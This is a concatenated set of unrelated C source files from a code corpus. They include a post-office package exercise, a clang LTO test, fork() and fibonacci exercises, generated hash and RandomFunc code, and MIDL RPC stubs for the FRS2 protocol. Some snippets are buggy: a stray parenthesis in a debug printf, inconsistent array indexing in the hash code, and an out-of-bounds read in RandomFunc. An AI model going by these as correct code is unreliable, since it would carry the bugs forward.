package* target_tail = &target->offices[target_office_index].packages[target->offices[target_office_index].packages_count];
#ifdef DEBUG
printf("source office packages_count = %d\r\n", source->offices[source_office_index].packages_count);
printf("target office packages_count = %d\r\n", target->offices[target_office_index].packages_count);
printf("Iterating through source post office packages...\r\n");
#endif
/* Iterate through source post office packages. */
for (int p = 0; p < source->offices[source_office_index].packages_count; p++) {
/* If current package "p" satisfies target post office weight... */
if (source->offices[source_office_index].packages[p].weight <= target->offices[target_office_index].max_weight && \
source->offices[source_office_index].packages[p].weight >= target->offices[target_office_index].min_weight) {
IF_DEBUG(printf("\tpackage accepted: %s\r\n", source->offices[source_office_index].packages[p].id));
/* We are sending the package from source to target. */
/* Make the pointer in target office point to source office package. */
*target_tail = source->offices[source_office_index].packages[p];
/* Increase target package tail pointer: point to next free package location. */
target_tail++;
} else {
/* Package "p" was not accepted into target post office. */
/* We might need to requeue the package in source. */
/* If head pointer is not pointing to a currently processed package. */
if (source_head != &source->offices[source_office_index].packages[p]) {
IF_DEBUG(printf("\tpackage requeued: %s\r\n", source->offices[source_office_index].packages[p].id));
/* Make the pointer in source package queue point to head package. */
*source_head = source->offices[source_office_index].packages[p];
/* Increase head pointer. */
source_head++;
} else {
/* Program will get here only if first package from the source is not accepted: but it does not need to be requeued. */
IF_DEBUG(printf("\tpackage not requeued: %s\r\n", source->offices[source_office_index].packages[p].id));
/* Increase head pointer. */
source_head++;
}
}
}
/* If all packages were sent, free memory. */
if (source->offices[source_office_index].packages_count == acceptablePackagesCount) {
free(source->offices[source_office_index].packages);
} else {
/* Realloc source office packages (shrink memory by amount of accepted packages). */
vptr = realloc(source->offices[source_office_index].packages, sizeof(package) * (source->offices[source_office_index].packages_count - acceptablePackagesCount));
if (vptr == NULL) {
printf("ERROR: realloc() failed to shrink memory.\r\n");
exit(-1);
} else {
source->offices[source_office_index].packages = vptr;
}
}
/* Fix packages counters. */
target->offices[target_office_index].packages_count += acceptablePackagesCount;
source->offices[source_office_index].packages_count -= acceptablePackagesCount;
#ifdef DEBUG
printf("Fixed package count.\r\n"));
printf("source office packages_count = %d\r\n", source->offices[source_office_index].packages_count);
printf("target office packages_count = %d\r\n", target->offices[target_office_index].packages_count);
print_office_packages(source_office_index, &source->offices[source_office_index]);
print_office_packages(target_office_index, &target->offices[target_office_index]);
print_all();
IF_DEBUG(printf("\r\n ####################### \r\n"));
#endif
}
town town_with_most_packages(town* towns, int towns_count)
{
/* Initialize the highest number of packages found. */
int packagesMax = 0;
/* Initialize town with most packages index. */
int townMostPackagesIndex = 0;
if (towns == NULL || towns_count == 0) {
/* Error. */
town err;
return err;
}
/* Iterate through towns. */
for (int t = 0; t < towns_count; t++) {
/* Initialize the number of packages for this town. */
int packagesCount = 0;
/* Iterate through town's post offices. */
for (int o = 0; o < towns[t].offices_count; o++) {
/* Increase the number of packages for this town. */
packagesCount += towns[t].offices[o].packages_count;
}
/* Check if this town's packages trump the last maximum. */
if (packagesCount > packagesMax) {
/* Overwrite with new town. */
townMostPackagesIndex = t;
packagesMax = packagesCount;
}
}
return towns[townMostPackagesIndex];
}
town* find_town(town* towns, int towns_count, char* name)
{
if (towns == NULL || towns_count == 0 || name == NULL) {
/* Error. */
return NULL;
}
/* Iterate through towns. */
for (int t = 0; t < towns_count; t++) {
/* Check if town's name matches. */
if (strcmp(towns[t].name, name) == 0) {
/* Return pointer to current town. */
return &towns[t];
}
}
/* Town not found. */
return NULL;
}
void freeTowns(town* towns)
{
/* Iterate through towns. */
for (int t = 0; t < towns_count; t++) {
/* Iterate through town's post offices. */
for (int o = 0; o < towns[t].offices_count; o++) {
/* Iterate through office's packages. */
for (int p = 0; p < towns[t].offices[o].packages_count; p++) {
/* Free package id. */
free(towns[t].offices[o].packages[p].id);
}
/* Free packages. */
free(towns[t].offices[o].packages);
}
/* Free offices. */
free(towns[t].offices);
/* Free town's name. */
free(towns[t].name);
}
/* Free towns. */
free(towns);
}
int main()
{
scanf("%d", &towns_count);
towns = malloc(sizeof(town)*towns_count);
for (int i = 0; i < towns_count; i++) {
towns[i].name = malloc(sizeof(char) * MAX_STRING_LENGTH);
scanf("%s", towns[i].name);
scanf("%d", &towns[i].offices_count);
towns[i].offices = malloc(sizeof(post_office)*towns[i].offices_count);
for (int j = 0; j < towns[i].offices_count; j++) {
scanf("%d%d%d", &towns[i].offices[j].packages_count, &towns[i].offices[j].min_weight, &towns[i].offices[j].max_weight);
towns[i].offices[j].packages = malloc(sizeof(package)*towns[i].offices[j].packages_count);
for (int k = 0; k < towns[i].offices[j].packages_count; k++) {
towns[i].offices[j].packages[k].id = malloc(sizeof(char) * MAX_STRING_LENGTH);
scanf("%s", towns[i].offices[j].packages[k].id);
scanf("%d", &towns[i].offices[j].packages[k].weight);
}
}
}
int queries;
scanf("%d", &queries);
char town_name[MAX_STRING_LENGTH];
while (queries--) {
int type;
scanf("%d", &type);
switch (type) {
case 1:
scanf("%s", town_name);
town* t = find_town(towns, towns_count, town_name);
print_all_packages(*t);
break;
case 2:
scanf("%s", town_name);
town* source = find_town(towns, towns_count, town_name);
int source_index;
scanf("%d", &source_index);
scanf("%s", town_name);
town* target = find_town(towns, towns_count, town_name);
int target_index;
scanf("%d", &target_index);
send_all_acceptable_packages(source, source_index, target, target_index);
break;
case 3:
printf("Town with the most number of packages is %s\n", town_with_most_packages(towns, towns_count).name);
break;
}
}
/* Cleanup. */
freeTowns(towns);
return 0;
}
|
the_stack_data/1136579.c | // REQUIRES: x86-registered-target
// RUN: %clang_cc1 -debug-info-kind=limited -triple x86_64-unknown-linux-gnu \
// RUN: -flto=thin -emit-llvm-bc \
// RUN: -o %t.o %s
// RUN: llvm-lto2 run -thinlto-distributed-indexes %t.o \
// RUN: -o %t2.index \
// RUN: -r=%t.o,main,px
// RUN: %clang_cc1 -triple x86_64-unknown-linux-gnu \
// RUN: -emit-obj -fthinlto-index=%t.o.thinlto.bc \
// RUN: -o %t.native.o -split-dwarf-file %t.native.dwo -x ir %t.o
// RUN: llvm-readobj -sections %t.native.o | FileCheck --check-prefix=O %s
// RUN: llvm-readobj -sections %t.native.dwo | FileCheck --check-prefix=DWO %s
// O-NOT: .dwo
// DWO: .dwo
int main() {}
|
the_stack_data/111077056.c | #include <stdlib.h>
/*
The call atoul(str) shall be equivalent to:
strtoul(str, (char **)NULL, 10)
except that the handling of errors may differ. If the value cannot be
represented, the behavior is undefined.
The atoul() function shall return the converted value if the value can
be represented.
*/
// this can be handy on some low end MCUs
// without hw multiplier
#if defined(LIBC_ATOI_USE_SHIFT_ADD)
#define MULBY10(n) (((n) + ((n) << 2)) << 1)
#else
#define MULBY10(n) ((n) * 10)
#endif // LIBC_ATOI_USE_SHIFT_ADD
// heavily modified musl atoi code
unsigned long atoul(const char *s)
{
unsigned long n = 0;
unsigned char c;
// strip leading whitespace
while(1)
{
c = (unsigned char) *s++ - '0';
if(c <= 9) break;
// test for end of string
if(c == (unsigned char)(-'0')) return 0;
}
// first digit is in c
n = c;
/* Compute n */
while(1)
{
c = (unsigned char) *s++ - '0';
if(c > 9) break;
n = MULBY10(n) + c;
}
return n;
}
|
the_stack_data/87119.c | #include <stdio.h>
int st, nd;
int fibonacci(int n) {
if (n == 0) {
st++;
return 0;
} else if (n == 1) {
nd++;
return 1;
} else {
return fibonacci(n-1) + fibonacci(n-2);
}
}
int main() {
int num;
scanf("%d",&num);
for(int i=0;i<num;i++) {
st=0; nd=0;
int tmp;
scanf("%d",&tmp);
fibonacci(tmp);
printf("%d %d\n",st,nd);
}
return 0;
}
//시간 초과 현상이 일어남
|
the_stack_data/149520.c | /* 1я часть
* Написать программу, запускающую новый процесс системным вызовом
* fork(). ‚ предке вывести собственный идентификатор ( функция
* getpid()), идентификатор группы ( функция getpgrp()) и
* идентификатор потомка. ‚ процессе-потомке вывести собственный
* идентификатор, идентификатор предка ( функция getppid()) и
* идентификатор группы. убедиться, что при завершении процесса-предка
* потомок получает идентификатор предка (PPID), равный 1.
*/
#include <stdio.h> //printf
#include <stdlib.h> //exit
int main() {
int child = fork();
if ( child == -1 ) {
perror("couldn't fork.");
exit(1);
}
if ( child == 0 ) {
//потомственный код
sleep(1);
printf( "Child: pid=%d; group=%d; parent=%d\n", getpid(), getpgrp(), getppid() );
return 0;
}
int child2 = fork();
if ( child2 == -1 ) {
perror("couldn't fork.");
exit(1);
}
if ( child2 == 0 ) {
//потомственный код 2
sleep(1);
printf( "Child2: pid=%d; group=%d; parent=%d\n", getpid(), getpgrp(), getppid() );
return 0;
}
else {
//родительский код obshiy
printf( "Parent: pid=%d; group=%d; child=%d; child2=%d\n", getpid(), getpgrp(), child, child2 );
return 0;
}
}
|
the_stack_data/41091.c | /*
Comando 'caso' com impressao
Helena Caseli
2010
*/
#include <stdio.h>
#include <stdlib.h>
int main() {
switch (2) {
case 0:
case 1:
printf("ERRO");
break;
case 2:
printf("OK");
break;
case 3:
case 4:
case 5:
case 6:
case 7:
case 8:
case 9:
case 10:
case 11:
case 12:
case 13:
case 14:
case 15:
case 16:
case 17:
case 18:
case 19:
case 20:
case 21:
case 22:
case 23:
case 24:
case 25:
case 26:
case 27:
case 28:
case 29:
case 30:
case 31:
case 32:
case 33:
case 34:
case 35:
case 36:
case 37:
case 38:
case 39:
case 40:
case 41:
case 42:
case 43:
case 44:
case 45:
case 46:
case 47:
case 48:
case 49:
case 50:
case 51:
case 52:
case 53:
case 54:
case 55:
case 56:
case 57:
case 58:
case 59:
case 60:
case 61:
case 62:
case 63:
case 64:
case 65:
case 66:
case 67:
case 68:
case 69:
case 70:
case 71:
case 72:
case 73:
case 74:
case 75:
case 76:
case 77:
case 78:
case 79:
case 80:
case 81:
case 82:
case 83:
case 84:
case 85:
case 86:
case 87:
case 88:
case 89:
case 90:
case 91:
case 92:
case 93:
case 94:
case 95:
case 96:
case 97:
case 98:
case 99:
case 100:
printf("ERRO");
break;
default:
printf("ERRO");
}
return 0;
}
|
the_stack_data/165765572.c | #include <stdint.h>
unsigned int feld_rotl(const unsigned int value, int shift)
{
if ((shift &= sizeof(value) * 8 - 1) == 0)
return value;
return value << shift | value >> sizeof(value) * 8 - shift;
}
int main()
{
uint8_t _a0[] = {84, 104, 101, 32, 113, 117, 105, 99, 107, 32, 98, 114, 111,
119, 110, 32, 102, 111, 120, 32, 106, 117, 109, 112, 115,
32, 111, 118, 101, 114, 32, 116, 104, 101, 32, 108, 97,
122, 121, 32, 100, 111, 103};
uint8_t *a0 = _a0;
uint64_t r1;
uint8_t r2;
uint8_t v4;
uint8_t v5;
uint8_t v6;
uint8_t r7;
uint8_t v9;
uint8_t v13;
uint32_t r16;
uint32_t r17;
uint32_t r18;
uint32_t r19;
uint32_t r20;
uint8_t r21;
uint8_t v22;
uint8_t _a36[20];
uint8_t *a36 = _a36;
uint8_t v37;
uint8_t v38;
uint8_t v39;
uint8_t v40;
uint8_t v41;
r1 = (uint64_t) 43 * 8;
r2 = 64 * (1 + 43 / 64);
uint8_t _a3[r2];
uint8_t *a3 = _a3;
for (v4 = 0; v4 <= 43 - 1; v4++) {
a3[v4 + 0] = a0[v4 + 0];
}
a3[43 + 0] = 1;
for (v5 = 43 + 1; v5 <= r2 - 9; v5++) {
a3[v5 + 0] = 0;
}
for (v6 = r2 - 8; v6 <= r2 - 1; v6++) {
a3[v6 + 0] = (uint8_t) (r1 >> 8 * (r2 - 1 - v6));
}
r7 = r2 / 64;
uint32_t _a8[80 * r7];
uint32_t *a8 = _a8;
for (v9 = 0; v9 <= r7 - 1; v9++) {
uint8_t r10;
uint8_t r11;
uint8_t v12;
r10 = v9 * 16;
r11 = v9 * 80;
for (v12 = 0; v12 <= 15; v12++) {
a8[v9 + v12 + 0] = (uint32_t) a3[r10 + v12 * 4 + 0] +
((uint32_t) a3[r10 + v12 * 4 + 1 + 0] << 8) +
((uint32_t) a3[r10 + v12 * 4 + 2 + 0] << 16) +
((uint32_t) a3[r10 + v12 * 4 + 3 + 0] << 24);
}
}
for (v13 = 0; v13 <= r7 - 1; v13++) {
uint8_t r14;
uint8_t v15;
r14 = v13 * 80;
for (v15 = r14 + 16; v15 <= r14 + 79; v15++) {
a8[v15 + 0] = feld_rotl(((a8[v15 - 3 + 0] ^ a8[v15 - 8 + 0]) ^
a8[v15 - 14 + 0]) ^ a8[v15 - 16 + 0], 1);
}
}
r16 = 1732584193;
r17 = 4023233417;
r18 = 2562383102;
r19 = 271733878;
r20 = 3285377520;
r21 = 80 * r7 / 80;
for (v22 = 0; v22 <= r21 - 1; v22++) {
uint32_t r23;
uint32_t r24;
uint32_t r25;
uint32_t r26;
uint32_t r27;
uint8_t v28;
r23 = r16;
r24 = r17;
r25 = r18;
r26 = r19;
r27 = r20;
for (v28 = 0; v28 <= 79; v28++) {
uint32_t b29;
uint32_t b32;
uint32_t r35;
if (0 <= v28 && v28 <= 19) {
b29 = (r24 & r25) | (~r24 & r26);
} else {
uint32_t b30;
if (20 <= v28 && v28 <= 39) {
b30 = (r24 ^ r25) ^ r26;
} else {
uint32_t b31;
if (40 <= v28 && v28 <= 59) {
b31 = (r24 & r25) | (r24 & r26) | (r25 & r26);
} else {
b31 = (r24 ^ r25) ^ r26;
}
b30 = b31;
}
b29 = b30;
}
if (0 <= v28 && v28 <= 19) {
b32 = 1518500249;
} else {
uint32_t b33;
if (20 <= v28 && v28 <= 39) {
b33 = 1859775393;
} else {
uint32_t b34;
if (40 <= v28 && v28 <= 59) {
b34 = 2400959708;
} else {
b34 = 3395469782;
}
b33 = b34;
}
b32 = b33;
}
r35 = feld_rotl(r23, 5) + b29 + r27 + a8[v28 + 0] + b32;
r27 = r26;
r26 = r25;
r25 = feld_rotl(r24, 30);
r24 = r23;
r23 = r35;
}
r16 = r16 + r23;
r17 = r17 + r24;
r18 = r18 + r25;
r19 = r19 + r26;
r20 = r20 + r27;
}
for (v37 = 0; v37 <= 3; v37++) {
a36[v37 + 0] = (uint8_t) (r16 >> 8 * (3 - (uint32_t) v37));
}
for (v38 = 0; v38 <= 3; v38++) {
a36[v38 + 4 + 0] = (uint8_t) (r17 >> 8 * (3 - (uint32_t) v38));
}
for (v39 = 0; v39 <= 3; v39++) {
a36[v39 + 8 + 0] = (uint8_t) (r18 >> 8 * (3 - (uint32_t) v39));
}
for (v40 = 0; v40 <= 3; v40++) {
a36[v40 + 12 + 0] = (uint8_t) (r19 >> 8 * (3 - (uint32_t) v40));
}
for (v41 = 0; v41 <= 3; v41++) {
a36[v41 + 16 + 0] = (uint8_t) (r20 >> 8 * (3 - (uint32_t) v41));
}
return 0;
}
|
the_stack_data/40319.c | /* Exercise 1-11. How would you test the word count program? What kinds of input are most likely to uncover bugs if there are any ? */
#include <stdio.h>
#define IN 1 /* inside a word */
#define OUT 0 /* outside a word */
/* count lines, words, and characters in input */
int main()
{
int c, nl, nw, nc, state;
state = OUT;
nl = nw = nc = 0;
while ((c = getchar()) != EOF)
{
++nc;
if (c == '\n')
++nl;
if ((c == ' ') || (c == '\n') || (c == '\t')) /* (c = '\t') is changed to (c == '\t') to solve the bug. */
state = OUT;
else if (state == OUT)
{
state = IN;
++nw;
}
}
printf("%d %d %d\n", nl, nw, nc);
return 0;
}
|
the_stack_data/14199954.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_isascii.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: rblondia <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/11/02 13:50:43 by rblondia #+# #+# */
/* Updated: 2022/01/29 16:57:16 by rblondia ### ########.fr */
/* */
/* ************************************************************************** */
int ft_isascii(int c)
{
return (c >= 0 && c <= 127);
}
|
the_stack_data/106824.c | /* Generated by CIL v. 1.7.0 */
/* print_CIL_Input is false */
struct _IO_FILE;
struct timeval;
extern float strtof(char const *str , char const *endptr ) ;
extern void signal(int sig , void *func ) ;
typedef struct _IO_FILE FILE;
extern int atoi(char const *s ) ;
extern double strtod(char const *str , char const *endptr ) ;
extern int fclose(void *stream ) ;
extern void *fopen(char const *filename , char const *mode ) ;
extern void abort() ;
extern void exit(int status ) ;
extern int raise(int sig ) ;
extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ;
extern int strcmp(char const *a , char const *b ) ;
extern int rand() ;
extern unsigned long strtoul(char const *str , char const *endptr , int base ) ;
void RandomFunc(unsigned long input[1] , unsigned long output[1] ) ;
extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ;
extern int gettimeofday(struct timeval *tv , void *tz , ...) ;
extern int printf(char const *format , ...) ;
int main(int argc , char *argv[] ) ;
void megaInit(void) ;
extern unsigned long strlen(char const *s ) ;
extern long strtol(char const *str , char const *endptr , int base ) ;
extern unsigned long strnlen(char const *s , unsigned long maxlen ) ;
extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ;
struct timeval {
long tv_sec ;
long tv_usec ;
};
extern void *malloc(unsigned long size ) ;
extern int scanf(char const *format , ...) ;
void megaInit(void)
{
{
}
}
int main(int argc , char *argv[] )
{
unsigned long input[1] ;
unsigned long output[1] ;
int randomFuns_i5 ;
unsigned long randomFuns_value6 ;
int randomFuns_main_i7 ;
{
megaInit();
if (argc != 2) {
printf("Call this program with %i arguments\n", 1);
exit(-1);
} else {
}
randomFuns_i5 = 0;
while (randomFuns_i5 < 1) {
randomFuns_value6 = strtoul(argv[randomFuns_i5 + 1], 0, 10);
input[randomFuns_i5] = randomFuns_value6;
randomFuns_i5 ++;
}
RandomFunc(input, output);
if (output[0] == 4242424242UL) {
printf("You win!\n");
} else {
}
randomFuns_main_i7 = 0;
while (randomFuns_main_i7 < 1) {
printf("%lu\n", output[randomFuns_main_i7]);
randomFuns_main_i7 ++;
}
}
}
void RandomFunc(unsigned long input[1] , unsigned long output[1] )
{
unsigned long state[1] ;
unsigned long local1 ;
{
state[0UL] = (input[0UL] + 914778474UL) - 981234615UL;
local1 = 0UL;
while (local1 < input[1UL]) {
state[0UL] = state[local1] + state[0UL];
local1 ++;
}
output[0UL] = (state[0UL] - 238420169UL) + 818149947UL;
}
}
|
the_stack_data/86291.c | // Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
/* this ALWAYS GENERATED file contains the RPC client stubs */
/* File created by MIDL compiler version 8.00.0595 */
/* at Thu Mar 19 14:51:41 2015
*/
/* Compiler settings for ms-frs2.idl:
Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.00.0595
protocol : dce , ms_ext, c_ext, robust
error checks: allocation ref bounds_check enum stub_data
VC __declspec() decoration level:
__declspec(uuid()), __declspec(selectany), __declspec(novtable)
DECLSPEC_UUID(), MIDL_INTERFACE()
*/
/* @@MIDL_FILE_HEADING( ) */
#if defined(_M_AMD64)
#pragma warning( disable: 4049 ) /* more than 64k source lines */
#if _MSC_VER >= 1200
#pragma warning(push)
#endif
#pragma warning( disable: 4211 ) /* redefine extern to static */
#pragma warning( disable: 4232 ) /* dllimport identity*/
#pragma warning( disable: 4024 ) /* array to pointer mapping*/
#include <string.h>
#include "ms-frs2.h"
#define TYPE_FORMAT_STRING_SIZE 841
#define PROC_FORMAT_STRING_SIZE 1125
#define EXPR_FORMAT_STRING_SIZE 1
#define TRANSMIT_AS_TABLE_SIZE 0
#define WIRE_MARSHAL_TABLE_SIZE 0
typedef struct _ms2Dfrs2_MIDL_TYPE_FORMAT_STRING
{
short Pad;
unsigned char Format[ TYPE_FORMAT_STRING_SIZE ];
} ms2Dfrs2_MIDL_TYPE_FORMAT_STRING;
typedef struct _ms2Dfrs2_MIDL_PROC_FORMAT_STRING
{
short Pad;
unsigned char Format[ PROC_FORMAT_STRING_SIZE ];
} ms2Dfrs2_MIDL_PROC_FORMAT_STRING;
typedef struct _ms2Dfrs2_MIDL_EXPR_FORMAT_STRING
{
long Pad;
unsigned char Format[ EXPR_FORMAT_STRING_SIZE ];
} ms2Dfrs2_MIDL_EXPR_FORMAT_STRING;
static const RPC_SYNTAX_IDENTIFIER _RpcTransferSyntax =
{{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};
extern const ms2Dfrs2_MIDL_TYPE_FORMAT_STRING ms2Dfrs2__MIDL_TypeFormatString;
extern const ms2Dfrs2_MIDL_PROC_FORMAT_STRING ms2Dfrs2__MIDL_ProcFormatString;
extern const ms2Dfrs2_MIDL_EXPR_FORMAT_STRING ms2Dfrs2__MIDL_ExprFormatString;
#define GENERIC_BINDING_TABLE_SIZE 0
/* Standard interface: __MIDL_itf_ms2Dfrs2_0000_0000, ver. 0.0,
GUID={0x00000000,0x0000,0x0000,{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}} */
/* Standard interface: FrsTransport, ver. 1.0,
GUID={0x897e2e5f,0x93f3,0x4376,{0x9c,0x9c,0xfd,0x22,0x77,0x49,0x5c,0x27}} */
static const RPC_CLIENT_INTERFACE FrsTransport___RpcClientInterface =
{
sizeof(RPC_CLIENT_INTERFACE),
{{0x897e2e5f,0x93f3,0x4376,{0x9c,0x9c,0xfd,0x22,0x77,0x49,0x5c,0x27}},{1,0}},
{{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},
0,
0,
0,
0,
0,
0x00000001
};
RPC_IF_HANDLE FrsTransport_v1_0_c_ifspec = (RPC_IF_HANDLE)& FrsTransport___RpcClientInterface;
extern const MIDL_STUB_DESC FrsTransport_StubDesc;
static RPC_BINDING_HANDLE FrsTransport__MIDL_AutoBindHandle;
DWORD CheckConnectivity(
/* [in] */ handle_t IDL_handle,
/* [in] */ FRS_REPLICA_SET_ID replicaSetId,
/* [in] */ FRS_CONNECTION_ID connectionId)
{
CLIENT_CALL_RETURN _RetVal;
_RetVal = NdrClientCall2(
( PMIDL_STUB_DESC )&FrsTransport_StubDesc,
(PFORMAT_STRING) &ms2Dfrs2__MIDL_ProcFormatString.Format[0],
IDL_handle,
replicaSetId,
connectionId);
return ( DWORD )_RetVal.Simple;
}
DWORD EstablishConnection(
/* [in] */ handle_t IDL_handle,
/* [in] */ FRS_REPLICA_SET_ID replicaSetId,
/* [in] */ FRS_CONNECTION_ID connectionId,
/* [in] */ DWORD downstreamProtocolVersion,
/* [in] */ DWORD downstreamFlags,
/* [out] */ DWORD *upstreamProtocolVersion,
/* [out] */ DWORD *upstreamFlags)
{
CLIENT_CALL_RETURN _RetVal;
_RetVal = NdrClientCall2(
( PMIDL_STUB_DESC )&FrsTransport_StubDesc,
(PFORMAT_STRING) &ms2Dfrs2__MIDL_ProcFormatString.Format[48],
IDL_handle,
replicaSetId,
connectionId,
downstreamProtocolVersion,
downstreamFlags,
upstreamProtocolVersion,
upstreamFlags);
return ( DWORD )_RetVal.Simple;
}
DWORD EstablishSession(
/* [in] */ handle_t IDL_handle,
/* [in] */ FRS_CONNECTION_ID connectionId,
/* [in] */ FRS_CONTENT_SET_ID contentSetId)
{
CLIENT_CALL_RETURN _RetVal;
_RetVal = NdrClientCall2(
( PMIDL_STUB_DESC )&FrsTransport_StubDesc,
(PFORMAT_STRING) &ms2Dfrs2__MIDL_ProcFormatString.Format[120],
IDL_handle,
connectionId,
contentSetId);
return ( DWORD )_RetVal.Simple;
}
/* [async] */ void RequestUpdates(
/* [in] */ PRPC_ASYNC_STATE RequestUpdates_AsyncHandle,
/* [in] */ handle_t IDL_handle,
/* [in] */ FRS_CONNECTION_ID connectionId,
/* [in] */ FRS_CONTENT_SET_ID contentSetId,
/* [range][in] */ DWORD creditsAvailable,
/* [range][in] */ long hashRequested,
/* [range][in] */ UPDATE_REQUEST_TYPE updateRequestType,
/* [in] */ unsigned long versionVectorDiffCount,
/* [size_is][in] */ FRS_VERSION_VECTOR *versionVectorDiff,
/* [length_is][size_is][out] */ FRS_UPDATE *frsUpdate,
/* [out] */ DWORD *updateCount,
/* [out] */ UPDATE_STATUS *updateStatus,
/* [out] */ GUID *gvsnDbGuid,
/* [out] */ DWORDLONG *gvsnVersion)
{
NdrAsyncClientCall(
( PMIDL_STUB_DESC )&FrsTransport_StubDesc,
(PFORMAT_STRING) &ms2Dfrs2__MIDL_ProcFormatString.Format[168],
RequestUpdates_AsyncHandle,
IDL_handle,
connectionId,
contentSetId,
creditsAvailable,
hashRequested,
updateRequestType,
versionVectorDiffCount,
versionVectorDiff,
frsUpdate,
updateCount,
updateStatus,
gvsnDbGuid,
gvsnVersion);
}
/* [async] */ void RequestVersionVector(
/* [in] */ PRPC_ASYNC_STATE RequestVersionVector_AsyncHandle,
/* [in] */ handle_t IDL_handle,
/* [in] */ DWORD sequenceNumber,
/* [in] */ FRS_CONNECTION_ID connectionId,
/* [in] */ FRS_CONTENT_SET_ID contentSetId,
/* [range][in] */ VERSION_REQUEST_TYPE requestType,
/* [range][in] */ VERSION_CHANGE_TYPE changeType,
/* [in] */ ULONGLONG vvGeneration)
{
NdrAsyncClientCall(
( PMIDL_STUB_DESC )&FrsTransport_StubDesc,
(PFORMAT_STRING) &ms2Dfrs2__MIDL_ProcFormatString.Format[276],
RequestVersionVector_AsyncHandle,
IDL_handle,
sequenceNumber,
connectionId,
contentSetId,
requestType,
changeType,
vvGeneration);
}
/* [async] */ void AsyncPoll(
/* [in] */ PRPC_ASYNC_STATE AsyncPoll_AsyncHandle,
/* [in] */ handle_t IDL_handle,
/* [in] */ FRS_CONNECTION_ID connectionId,
/* [out] */ FRS_ASYNC_RESPONSE_CONTEXT *response)
{
NdrAsyncClientCall(
( PMIDL_STUB_DESC )&FrsTransport_StubDesc,
(PFORMAT_STRING) &ms2Dfrs2__MIDL_ProcFormatString.Format[348],
AsyncPoll_AsyncHandle,
IDL_handle,
connectionId,
response);
}
/* [async] */ void RequestRecords(
/* [in] */ PRPC_ASYNC_STATE RequestRecords_AsyncHandle,
/* [in] */ handle_t IDL_handle,
/* [in] */ FRS_CONNECTION_ID connectionId,
/* [in] */ FRS_CONTENT_SET_ID contentSetId,
/* [in] */ FRS_DATABASE_ID uidDbGuid,
/* [in] */ DWORDLONG uidVersion,
/* [out][in] */ DWORD *maxRecords,
/* [out] */ DWORD *numRecords,
/* [out] */ DWORD *numBytes,
/* [size_is][size_is][out] */ byte **compressedRecords,
/* [out] */ RECORDS_STATUS *recordsStatus)
{
NdrAsyncClientCall(
( PMIDL_STUB_DESC )&FrsTransport_StubDesc,
(PFORMAT_STRING) &ms2Dfrs2__MIDL_ProcFormatString.Format[396],
RequestRecords_AsyncHandle,
IDL_handle,
connectionId,
contentSetId,
uidDbGuid,
uidVersion,
maxRecords,
numRecords,
numBytes,
compressedRecords,
recordsStatus);
}
DWORD UpdateCancel(
/* [in] */ handle_t IDL_handle,
/* [in] */ FRS_CONNECTION_ID connectionId,
/* [in] */ FRS_UPDATE_CANCEL_DATA cancelData)
{
CLIENT_CALL_RETURN _RetVal;
_RetVal = NdrClientCall2(
( PMIDL_STUB_DESC )&FrsTransport_StubDesc,
(PFORMAT_STRING) &ms2Dfrs2__MIDL_ProcFormatString.Format[486],
IDL_handle,
connectionId,
cancelData);
return ( DWORD )_RetVal.Simple;
}
DWORD RawGetFileData(
/* [out][in] */ PFRS_SERVER_CONTEXT *serverContext,
/* [length_is][size_is][out] */ byte *dataBuffer,
/* [range][in] */ DWORD bufferSize,
/* [out] */ DWORD *sizeRead,
/* [out] */ long *isEndOfFile)
{
CLIENT_CALL_RETURN _RetVal;
_RetVal = NdrClientCall2(
( PMIDL_STUB_DESC )&FrsTransport_StubDesc,
(PFORMAT_STRING) &ms2Dfrs2__MIDL_ProcFormatString.Format[534],
serverContext,
dataBuffer,
bufferSize,
sizeRead,
isEndOfFile);
return ( DWORD )_RetVal.Simple;
}
DWORD RdcGetSignatures(
/* [in] */ PFRS_SERVER_CONTEXT serverContext,
/* [range][in] */ byte level,
/* [in] */ DWORDLONG offset,
/* [length_is][size_is][out] */ byte *buffer,
/* [range][in] */ DWORD length,
/* [out] */ DWORD *sizeRead)
{
CLIENT_CALL_RETURN _RetVal;
_RetVal = NdrClientCall2(
( PMIDL_STUB_DESC )&FrsTransport_StubDesc,
(PFORMAT_STRING) &ms2Dfrs2__MIDL_ProcFormatString.Format[602],
serverContext,
level,
offset,
buffer,
length,
sizeRead);
return ( DWORD )_RetVal.Simple;
}
DWORD RdcPushSourceNeeds(
/* [in] */ PFRS_SERVER_CONTEXT serverContext,
/* [size_is][in] */ FRS_RDC_SOURCE_NEED *sourceNeeds,
/* [range][in] */ DWORD needCount)
{
CLIENT_CALL_RETURN _RetVal;
_RetVal = NdrClientCall2(
( PMIDL_STUB_DESC )&FrsTransport_StubDesc,
(PFORMAT_STRING) &ms2Dfrs2__MIDL_ProcFormatString.Format[676],
serverContext,
sourceNeeds,
needCount);
return ( DWORD )_RetVal.Simple;
}
DWORD RdcGetFileData(
/* [in] */ PFRS_SERVER_CONTEXT serverContext,
/* [length_is][size_is][out] */ byte *dataBuffer,
/* [range][in] */ DWORD bufferSize,
/* [out] */ DWORD *sizeReturned)
{
CLIENT_CALL_RETURN _RetVal;
_RetVal = NdrClientCall2(
( PMIDL_STUB_DESC )&FrsTransport_StubDesc,
(PFORMAT_STRING) &ms2Dfrs2__MIDL_ProcFormatString.Format[732],
serverContext,
dataBuffer,
bufferSize,
sizeReturned);
return ( DWORD )_RetVal.Simple;
}
DWORD RdcClose(
/* [out][in] */ PFRS_SERVER_CONTEXT *serverContext)
{
CLIENT_CALL_RETURN _RetVal;
_RetVal = NdrClientCall2(
( PMIDL_STUB_DESC )&FrsTransport_StubDesc,
(PFORMAT_STRING) &ms2Dfrs2__MIDL_ProcFormatString.Format[794],
serverContext);
return ( DWORD )_RetVal.Simple;
}
/* [async] */ void InitializeFileTransferAsync(
